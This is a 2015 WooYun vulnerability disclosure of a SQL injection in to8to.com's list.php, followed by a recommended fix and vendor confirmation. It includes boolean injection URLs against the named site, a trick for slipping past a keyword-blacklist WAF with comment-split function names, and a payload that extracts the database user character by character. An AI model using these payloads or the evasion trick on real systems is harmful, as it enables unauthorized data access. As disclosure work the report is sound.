当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0130837

漏洞标题:土巴兔装修网某处SQL注入

相关厂商:土巴兔装修网

漏洞作者: hoopyoung

提交时间:2015-08-01 11:46

修复时间:2015-09-15 19:26

公开时间:2015-09-15 19:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-01: 细节已通知厂商并且等待厂商处理中
2015-08-01: 厂商已经确认,细节仅向厂商公开
2015-08-11: 细节向核心白帽子及相关领域专家公开
2015-08-21: 细节向普通白帽子公开
2015-08-31: 细节向实习白帽子公开
2015-09-15: 细节向公众公开

简要描述:

RT,SQL注入

详细说明:

存在漏洞的URL:http://www.to8to.com/yezhu/list.php?&btype=2&stype=1&s=2
应该是btype、stype、s参数都存在注入,s为order by注入 不太好用。就拿stype来试试
http://www.to8to.com/yezhu/list.php?&btype=2&stype=1 and 1=1&s=2
http://www.to8to.com/yezhu/list.php?&btype=2&stype=1 and 1=2&s=2

1.png


两次结果不一样,很可疑,偷懒放入Sqlmap跑一下,结果没跑出来。只好手工看看。
发现存在waf功能的东西,参数带有or,user(),xor,sleep()之类的就403了。
不过随手一试char(),没403,看来挺弱的,估计就是几个简单的黑名单。
用user/**/()就成了。。。
口算user()的第一位ascii码116
http://www.to8to.com/yezhu/list.php?&btype=2&stype=1 and 116=ord(lower(mid(user/**/(),1,1)))&s=2

2.png


漏洞证明:

然后事情就简单了,写几行代码就能跑出user():
to8toslave@192.168.2.1 4

3.png

修复方案:

不要拼接SQL语句,黑名单过滤不是很靠谱,还是改代码弄成参数化查询好。

版权声明:转载请注明来源 hoopyoung@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-08-01 19:24

厂商回复:

谢谢提醒

最新状态:

暂无


漏洞评价:

评论

  1. 2015-08-01 23:46 | 牛 小 帅 ( 普通白帽子 | Rank:363 漏洞数:75 | [code]心若没有栖息的地方,走到哪里都是在...)

    还有啊?

  2. 2015-09-15 22:18 | BeenQuiver ( 普通白帽子 | Rank:101 漏洞数:26 | 专注而高效,坚持好的习惯千万不要放弃)

    吊炸天啊,真细心

  3. 2015-09-16 21:56 | BeenQuiver ( 普通白帽子 | Rank:101 漏洞数:26 | 专注而高效,坚持好的习惯千万不要放弃)

    膜拜这位锲而不舍的灵感白帽子